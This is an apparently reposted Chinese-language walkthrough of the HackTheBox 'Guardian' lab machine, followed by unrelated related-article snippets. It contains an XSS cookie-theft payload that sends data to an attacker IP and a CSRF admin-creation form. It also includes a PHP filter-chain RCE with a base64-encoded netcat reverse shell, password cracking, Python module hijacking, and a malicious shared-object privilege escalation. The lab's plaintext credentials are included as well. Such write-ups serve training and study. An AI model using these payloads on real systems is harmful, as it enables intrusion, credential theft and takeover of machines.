HTB 賽季8靶場 - Guardian

各位好,最近我的kali崩掉了,崩掉了,建議大家避K 番茄C盤瘦身,這家伙修改了我的avrt.dll文件,導致virtualbox不接受我的avrt.dll文件的簽名了,從而導致virtualbox的虛擬機環境全崩無法開機。弄了幾天,真是造孽啊!
![[Guardian.png]]

nmap掃描在這里插入圖片描述

nmap -F 10.129.161.67 --min-rate=1000 -A 

![[Pasted image 20250902202718.png]]

目錄掃描80端口

dirsearch -u http://portal.guardian.htb

PHP composer 編譯信息泄露

發現了installed.json。在文件中我們發現phpoffice/math 2025年爆出漏洞。https://github.com/advisories/GHSA-42hm-pq2f-3r7m。phpoffice/spreadsheet 2025年爆出 XSS漏洞和SSRF漏洞。

http://portal.guardian.htb/vendor/composer/installed.json

![[Pasted image 20250902211826.png]]

瀏覽80端口

GU2024001

![[Pasted image 20250902202740.png]]

在80端口我們還發現默認密碼

GU1234

![[Pasted image 20250902202840.png]]

我們將密碼噴灑進入到了學生的Portal
![[Pasted image 20250902212734.png]]

進一步攻擊發現IDOR漏洞我們發現admin和jamil.enockson的聊天記錄,并竊取密碼。聊天內容里面說是gitea的密碼。

jamil.enockson/DHsNnk3V503

![[Pasted image 20250902213150.png]]

![[Pasted image 20250902213656.png]]

我們嘗試訪問gitea.guardian.htb竟然成功了!
![[Pasted image 20250902214409.png]]

我們查明了系統版本信息,當前gitea貌似不存在公開漏洞。
![[Pasted image 20250902214608.png]]

我們使用賬號登陸系統

jamil.enockson@guardian.htb / DHsNnk3V503

![[Pasted image 20250902214731.png]]

我們看到了兩個網站的源碼,很快我們就發現了一個密碼

root / Gu4rd14n_un1_1s_th3_b3st

![[Pasted image 20250902225252.png]]

PHPoffice 2025 年漏洞- XSS 漏洞竊取 Cookies

繞過xlsx文件的工作表長度限制

我們閱讀源碼發現學生的上傳接口不存在邏輯漏洞,但老師的view-submissions.php接口調用了phpoffice/spreadsheet工具,如我們前面所述,我們了解到這個工具存在SSRF和XSS漏洞,我們嘗試XSS。目前word,wps等軟件已經限制了sheet的字數長度,所以我們需要去這個網站https://www.treegrid.com/FSheet

<script>fetch('http://10.10.16.5/steal?cookie=' + btoa(document.cookie));</script>

![[Pasted image 20250903224122.png]]

我們成功獲取到老師的cookie
![[Pasted image 20250903224204.png]]

PHPSESSID=g9s11233qe3c2ud0qsghouq4c9

CSRF漏洞借用admin賬戶創建管理員賬戶

我們發現老師有notice,是和admin交流的地方,接口位置在http://portal.guardian.htb/lecturer/notices/create.php
![[Pasted image 20250903225732.png]]

我們的鏈接會被admin很快的觀看,這里基本就是可以讓admin執行任意js代碼的意思,所以我們故技重施,嘗試竊取他的cookie,很可惜沒能成功,因為他訪問我的時候沒有攜帶PHPSESSID。那么我們嘗試進行CSRF攻擊,借助admin的瀏覽器,來完成用戶創建操作。首先閱讀admin/createuser.php。
![[Pasted image 20250903230224.png]]

我們了解到,我們需要找到csrf_token和js構造post請求的辦法。經過努力我們構造好了payload。

<form id="myForm" action="http://portal.guardian.htb/admin/createuser.php" method="post" style="display: none;">  
<input type="hidden" name="csrf_token" value="6fa73396177651d363cbf46f3c1ae63c">  
<input type="hidden" name="username" value="ydx">
<input type="hidden" name="password" value="ydx666">  
<input type="hidden" name="full_name" value="ydx">  
<input type="hidden" name="email" value="ydx@123.com">  
<input type="hidden" name="dob" value="ydx666">  
<input type="hidden" name="address" value="ydx666@123.com">  
<input type="hidden" name="user_role" value="admin">      
</form>
<script> window.onload = function() { document.getElementById('myForm').submit(); }; </script>

把他保存為pwn.html并且開啟python 的http服務器

python -m http.server 80

然后我們將而惡意頁面的鏈接發送給admin。過一會兒我們的python服務器就會有反應,然后登錄到portal即可。很顯然我們成功了
![[Pasted image 20250903233002.png]]

php_filter_chain_generator.py繞過編碼限制

前面我們已經發現了report.php接口使用了危險的include函數。我們可以使用php偽協議完成攻擊。我們使用php_filter_chain_generator.py完成payload的生成

python php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>'

![[Pasted image 20250904001513.png]]

復制這個生成的payload,這相當于我們向頁面寫入了<?php eval($_POST[“a”]);?>,然后我們構造相應的代碼,進行反連。

POST /admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,system.php HTTP/1.1
Host: portal.guardian.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=48bj7hhhs1a21o1t3tmbcb8ddu
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 406a=shell_exec("echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xMC4xNi4xMCA5MDAxID4vdG1wL2Y= | base64 -d | bash");

我們成功獲得shell
![[Pasted image 20250904094832.png]]

理解源碼破解數據庫密碼

進入mysql竊取用戶密碼

mysql -h127.0.0.1 -uroot -pGu4rd14n_un1_1s_th3_b3st -e 'USE guardiandb;SHOW TABLES;SELECT username,password_hash from users;'

![[Pasted image 20250904100705.png]]

我們查看admin/createuser.php發現其和數據庫的交互方式,發現他是將password和salt連在一起后,進行SHA256進行加密。
![[Pasted image 20250904100816.png]]

hashcat組合攻擊模式破解密碼

下面我們希望使用hashcat組合來破解密碼,所以我們需要提前編寫好salt.txt文件

8Sb)tM1vs1SS

我們編寫好salt.txt文件后,使用hashcat開啟組合攻擊模式,來破解密碼

hashcat -a 1 -m 1400 hash/data.mysql /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt salt.txt

![[Pasted image 20250904101257.png]]

發現兩個密碼

jamil.enockson / copperhouse56
admin / fakebake

hydra 密碼噴灑 -O 適配老舊SSL

我們噴灑一下密碼,注意一定要加-O 貌似使用的SSL版本存在一些特殊問題。

hydra -L users.txt -P passwords.txt ssh://10.10.11.84 -V -O

![[Pasted image 20250904102056.png]]

jamil / copperhouse56

劫持python文件依賴提權

我們sudo -l 發現使用了一個python程序,我們對這個程序有沒有寫權限。
![[Pasted image 20250904102841.png]]

閱讀文件內部,我們發現了一些非常有趣的內容,這個python文件使用了幾個依賴,我們嘗試是否有可能劫持他們。
![[Pasted image 20250904103122.png]]

其中最讓我感興趣的是/opt/scripts/utilities/utils/dp.py和/opt/scripts/utilities/utils/status.py。其中,status.py我們可以寫,這將是提權的關鍵。
![[Pasted image 20250904103247.png]]

那么我們只要能夠在system_status函數中加入惡意代碼即可。修改后的status.py如下

import platform
import psutil
import os
import sys,socket,os,ptydef system_status():print("System:", platform.system(), platform.release())print("CPU usage:", psutil.cpu_percent(), "%")print("Memory usage:", psutil.virtual_memory().percent, "%")pty.spawn("/usr/bin/bash")   

sudo 模擬為非root用戶

下面使用這個代碼成功竊取mark的用戶權限

sudo -u mark /opt/scripts/utilities/utilities.py system-status

Ghidra將ELF文件反編譯成C源碼

再次sudo -l 在mark的環境下
![[Pasted image 20250904105144.png]]

這個可能是通往root的寶庫,我們將文件傳輸到kali并進行反編譯過程。打開ghidra,創建一個新的項目
![[Pasted image 20250904112234.png]]

將ELF文件導入項目
![[Pasted image 20250904112259.png]]

雙擊文件
![[Pasted image 20250904112328.png]]

分析文件
![[Pasted image 20250904112422.png]]

打開函數結構
![[Pasted image 20250904112509.png]]

我們在下框將發現函數樹
![[Pasted image 20250904112540.png]]

點擊main,即可在反編譯框發現源代碼
![[Pasted image 20250904112612.png]]

下面是源碼。

undefined8 main(int param_1,undefined8 *param_2){int iVar1;char *pcVar2;FILE *__stream;long in_FS_OFFSET;char local_1418 [1024];char local_1018 [4104];long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);if (param_1 == 3) {iVar1 = strcmp((char *)param_2[1],"-f");if (iVar1 == 0) {pcVar2 = realpath((char *)param_2[2],local_1018);if (pcVar2 == (char *)0x0) {perror("realpath");}else {iVar1 = starts_with(local_1018,"/home/mark/confs/");if (iVar1 == 0) {fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");}else {__stream = fopen(local_1018,"r");if (__stream == (FILE *)0x0) {perror("fopen");}else {do {pcVar2 = fgets(local_1418,0x400,__stream);if (pcVar2 == (char *)0x0) {fclose(__stream);execl("/usr/sbin/apache2ctl","apache2ctl",&DAT_00102072,local_1018,0);perror("execl failed");goto LAB_00101663;}iVar1 = is_unsafe_line(local_1418);} while (iVar1 == 0);fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);fclose(__stream);}}}goto LAB_00101663;}}fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",*param_2);
LAB_00101663:if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return 1;
}

我們進入到is_unsafe_line看看,這個地方會讀取文件內容,然后做一些執行,并且只有這個函數通過了,我們才能執行apache2ctl。

undefined8 is_unsafe_line(undefined8 param_1){int iVar1;undefined8 uVar2;long in_FS_OFFSET;char local_1038 [32];char local_1018 [4104];long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);iVar1 = __isoc99_sscanf(param_1,"%31s %1023s",local_1038,local_1018);if (iVar1 != 2) {uVar2 = 0;goto LAB_00101423;}iVar1 = strcmp(local_1038,"Include");if (iVar1 == 0) {
LAB_001013c6:if (local_1018[0] == '/') {iVar1 = starts_with(local_1018,"/home/mark/confs/");if (iVar1 == 0) {fprintf(stderr,"[!] Blocked: %s is outside of %s\n",local_1018,"/home/mark/confs/");uVar2 = 1;goto LAB_00101423;}}}else {iVar1 = strcmp(local_1038,"IncludeOptional");if (iVar1 == 0) goto LAB_001013c6;iVar1 = strcmp(local_1038,"LoadModule");if (iVar1 == 0) goto LAB_001013c6;}uVar2 = 0;
LAB_00101423:if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return uVar2;
}

編寫惡意SO文件的 C語言 Shellcode

分析is_unsafe_line,我們發現LAB_00101423是被攔截的情況,而LAB_001013c6是不被攔截情況。繼續分析我們發現只要文件中的開頭是LoadModule,那么就會直接不被攔截。所以我們可以使用LoadModule來完成so文件的加載和運行。我們構造如下惡意c代碼,非常值得注意的是,so文件劫持通常需要精細到函數級別,但這里我們無法定位使用的函數,所以設定成如下樣子,即在main函數執行之前執行函數。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>__attribute__((constructor)) void init() {setuid(0);setgid(0);system("cp /bin/bash /tmp/ydx_bash;chmod 777 /tmp/ydx_bash;chmod u+s /tmp/ydx_bash;");
}

構造惡意的conf文件,文件內容為

LoadModule evilmodule /tmp/evil.so

編譯C文件為SO文件

使用gcc 構造so文件

gcc /tmp/evil.c -fPIC -shared -o /tmp/evil.so

我們分別將文件傳輸分別放在下面的路徑

/tmp/evil.c
/tmp/evil.so
/home/mark/confs/pwned.conf

執行exploit

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwned.conf

![[Pasted image 20250904151209.png]]

出錯也沒關系,命令已經執行了
![[Pasted image 20250904151309.png]]

下面進入bash收獲flag即可

./ydx_bash -p

![[Pasted image 20250904151351.png]]

試錯區域

PHPoffice 2025 年漏洞- SSRF 漏洞

之前是覺得XSS文檔位置存在限制,所以放棄了那條道路,走向了SSRF。結果查明之后發現gopher雖然可以和mysql交互,但是必須是mysql沒有密碼保護的情況。所以吸取經驗,下次可以在了解到mysql存在密碼的時候,就果斷切斷這條路。
![[Pasted image 20250903214202.png]]
![[Pasted image 20250903214212.png]]
很可惜他并沒有成功地攜帶他的cookie出來。但不要灰心,我們還有手段。鑒于SSRF成功了,我們還在config/config.php中找到了他的數據庫密碼。
![[Pasted image 20250903214346.png]]
我們還是Mysql的root用戶這自然讓我想到我們可以在服務器讀寫文件。但又有幾個問題,第一該SSRF沒有回顯,所以讀文件不可知道文件內容,而寫文件我們又沒有找到Web根目錄的物理路徑。但我們可能利用SSRF來完成web admin用戶的創建。所以在采取行動之前,我去admin賬戶的位置查看了一些php文件,其中report.php文件看起來非常有趣。

admin/reports.php

![[Pasted image 20250903214936.png]]
![[Pasted image 20250903214908.png]]
攻擊路線確認,我們開始嘗試這有些艱難的攻擊。其大致思路是,我們通過SSRF&Gopher協議操控mysql添加新Web admin用戶。然后登錄到admin portal中,使用report.php接口,完成LFI漏洞。下面開始攻擊。首先我們去了解創建用戶的Mysql query語句。我們可以在admin/createuser.php接口的源碼中看到有如下結構。
![[Pasted image 20250903220324.png]]
很好,這個看起我們可以設定username,password_hash,user_role即可。我們去login.php確認一下。可以看到我們給到用戶的賬號密碼,他會根據用戶的($username, $hashed_password)去數據庫查找,并返回一個$user對象,其中維持Web運行下去的內容有username,user_role,user_id。所以總結來看我們需要設定的內容有username,password_hash,user_role,user_id。我們接下來去models/User.php查看create函數的使用情況。
![[Pasted image 20250903220450.png]]
可以看出來我們還需要構造hash,前面我們發現了config/config.php文件告訴我們了salt

8Sb)tM1vs1SS

所以我們開始構造hash,使用在線網站https://www.symbionts.de/tools/hash/sha256-hash-salt-generator.html

secret:ydx666!
salt:8Sb)tM1vs1SSf1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3

借助上面我們一系列的信息搜集,我們構造了如下語句

#user_id非自增
INSERT INTO users (username, password_hash,user_role,user_id) VALUES ("ydx", "f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3","admin",999)#user_id自增
INSERT INTO users (username, password_hash,user_role) VALUES ("ydx", "f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3","admin")

gopherus構造 SSRF攻擊Mysql的payload

開始使用gopherus構造 SSRF payload

gopherus --exploit mysql

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921223.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921223.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921223.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Rust+slint實現一個登錄demo

系列文章目錄 文章目錄系列文章目錄前言一、為什么前端選擇slint而不是Tauri或者其他GUI框架二、開發工具三、代碼編寫項目結構前端代碼編寫后端開發編寫運行效果總結前言 本文章就是一個簡單rust全棧編程的一個小小的示例供rust新手閱讀學習。 一、為什么前端選擇slint而不是…

2025前端面試題及答案(詳細)

HTML5 的新特性有哪些&#xff1f;簡約版本&#xff1a;“HTML5 新特性主要體現在六個方面&#xff1a; 第一&#xff0c;語義化標簽&#xff0c;比如 header、footer、nav 等&#xff0c;讓頁面結構更清晰&#xff1b; 第二&#xff0c;表單增強&#xff0c;新增了 date、emai…

分詞器詳解(二)

&#x1f50d; 第2層&#xff1a;中等深度&#xff08;15分鐘理解&#xff09; 1. 理論基礎 1.1 BPE的數學原理 核心思想&#xff1a;通過迭代合并高頻字符對構建詞匯表 算法形式化&#xff1a; 初始化詞匯表 V0{c1,c2,...,cn}V_0 \{c_1, c_2, ..., c_n\}V0?{c1?,c2?,...,c…

嵌入式學習 51單片機(3)

UART 概述通用異步收發器&#xff08;UART&#xff09;是一種全雙工、串行、異步通信協議&#xff0c;常用于設備間數據傳輸。包含兩根信號線&#xff1a;RXD&#xff08;接收信號線&#xff09;TXD&#xff08;發送信號線&#xff09;通信方式單工通信方向固定&#xff0c;僅支…

Redis AOF 持久化:銀行的 “交易流水單” 管理邏輯

目錄 一、AOF 的核心邏輯&#xff1a;“每筆交易都記流水” 二、AOF 的三個步驟&#xff1a;從 “臨時記錄” 到 “正式歸檔” 1. 命令追加&#xff1a;記到 “臨時小本本” 2. 寫入與同步&#xff1a;抄到 “正式流水冊” 3. AOF 還原&#xff1a;拿 “流水冊” 重放交易…

代碼隨想錄訓練營第三十天|LeetCode452.用最少數量的箭引爆氣球、LeetCode435.無重疊空間、LeetCode763.劃分字母空間

452.用最少數量的箭引爆氣球 貪心算法 重合最多的氣球射一箭&#xff0c;就是局部用箭數量最少的&#xff0c;全局的用箭數量就是最少的。 首先對二維數組進行排序&#xff0c;這樣就可以讓氣球更加緊湊。 思路&#xff1a;當前氣球是否和上一個氣球區間重合&#xff0c;如…

數據庫事務隔離級別與 MVCC 機制詳解

最近在準備面試&#xff0c;正把平時積累的筆記、項目中遇到的問題與解決方案、對核心原理的理解&#xff0c;以及高頻業務場景的應對策略系統梳理一遍&#xff0c;既能加深記憶&#xff0c;也能讓知識體系更扎實&#xff0c;供大家參考&#xff0c;歡迎討論。在數據庫并發操作…

【Cursor-Gpt-5-high】StackCube-v1 任務訓練結果不穩定性的分析

1. Prompt 我是機器人RL方向的博士生正在學習ManiSkill&#xff0c;在學習時我嘗試使用相同命令訓練同一個任務&#xff0c;但是我發現最終的 success_once 指標并不是相同的&#xff0c;我感到十分焦慮&#xff0c; 我使用的命令如下&#xff1a; python sac.py --env_id"…

文檔權限設置不合理會帶來哪些問題

文檔權限設置不合理會導致信息泄露、合規風險、協作效率下降、責任難以追溯、知識資產流失、員工信任受損、管理成本增加、企業戰略受阻。這些問題不僅影響日常運營&#xff0c;更會對企業的長遠發展構成威脅。根據IBM《2024數據泄露成本報告》&#xff0c;全球企業因數據泄露的…

Linux網絡服務——基礎設置

網絡服務命令1.ping命令作用&#xff1a;測試網絡連通性&#xff08;使用icmp協議&#xff09;常見選項&#xff1a;-c&#xff1a;指定ping的次數&#xff0c;默認無限次-I&#xff1a;指定發送請求的網卡[rootlocalhost ~]# ping 192.168.77.78 -c 4 -I ens160 PING 192.168.…

【multisim汽車尾燈設計】2022-12-1

緣由multisim汽車尾燈設計-學習和成長-CSDN問答 為什么模仿別人做的運行沒啥效果&#xff0c;啥也看不明白&#xff0c;數字電子技術要做的任務。

Langchain在調用 LLM 時統計 Token 消耗

關鍵點解析使用上下文管理器with get_openai_callback() as cb:這一行是核心。cb 會自動收集本次調用的 prompt tokens、completion tokens 以及 total tokens。自動統計在上下文退出時&#xff0c;cb 中已經包含了這次調用的消耗情況&#xff0c;無需額外手動計算。累加到全局…

漫談《數字圖像處理》之實時美顏技術

隨著移動拍攝、直播、短視頻等場景的普及&#xff0c;用戶對 “自然、流暢、可控” 的美顏效果需求日益提升 —— 既要消除皮膚瑕疵、優化面部形態&#xff0c;又需避免 “過度磨皮顯假”“變形失真”“實時卡頓” 等問題。實時美顏技術的核心并非單一算法的堆砌&#xff0c;而…

MATLAB基于PSO(粒子群算法)優化BP神經網絡和NSGA-II(非支配排序遺傳算法)多目標優化

代碼實現了一個智能算法優化BP神經網絡并進行多目標優化的完整流程&#xff0c;結合了PSO&#xff08;粒子群算法&#xff09;優化BP神經網絡和NSGA-II&#xff08;非支配排序遺傳算法&#xff09;多目標優化&#xff0c;用于多輸入多輸出的回歸預測問題。 ? 一、主要功能 數…

白平衡分塊統計數據為什么需要向下采樣?

在白平衡處理中&#xff0c;分塊統計數據時引入**向下采樣&#xff08;Downsampling&#xff09;**&#xff0c;核心目標是在保證統計有效性的前提下&#xff0c;解決“計算效率”與“統計魯棒性”的矛盾&#xff0c;同時避免局部噪聲對白平衡判斷的干擾。要理解這一設計的必要…

Deathnote: 1靶場滲透

Deathnote: 1 來自 <Deathnote: 1 ~ VulnHub> 1&#xff0c;將兩臺虛擬機網絡連接都改為NAT模式 2&#xff0c;攻擊機上做namp局域網掃描發現靶機 nmap -sn 192.168.23.0/24 那么攻擊機IP為192.168.23.128&#xff0c;靶場IP192.168.23.129 3&#xff0c;對靶機進行端口…

windows系統服務器測試部署springboot+vue+mysql項目

1. 后端Java應用啟動 直接使用命令行啟動&#xff08;推薦用于測試&#xff09;&#xff1a; cd C:\Users\Administrator\Desktop\toolset\backed java -jar -Dspring.profiles.activeprod -Dserver.port8083 admin.jar2. 前端靜態文件服務 由于你已經有了dist目錄&#xff0c;…

Java 與 Docker 的最佳實踐

在云原生時代&#xff0c;Docker 已成為應用交付和運行的事實標準。Java 作為企業級開發的主力語言&#xff0c;也需要與容器技術深度結合。然而&#xff0c;Java 程序天然有 JVM 內存管理、啟動速度、鏡像體積 等特點&#xff0c;如果不做優化&#xff0c;可能導致性能下降甚至…

大數據工程師認證推薦項目:基于Spark+Django的學生創業分析可視化系統技術價值解析

&#x1f496;&#x1f496;作者&#xff1a;計算機編程小央姐 &#x1f499;&#x1f499;個人簡介&#xff1a;曾長期從事計算機專業培訓教學&#xff0c;本人也熱愛上課教學&#xff0c;語言擅長Java、微信小程序、Python、Golang、安卓Android等&#xff0c;開發項目包括大…

【MySQL自學】SQL主鍵使用誤區:你必須知道的關鍵細節

在日常數據庫操作中&#xff0c;主鍵&#xff08;Primary Key&#xff09;是我們最常打交道的概念之一。然而&#xff0c;許多開發者&#xff0c;尤其是初學者&#xff0c;常常對其存在一些誤解。一個非常經典的問題是&#xff1a;“在SQL中&#xff0c;只要用到主鍵&#xff0…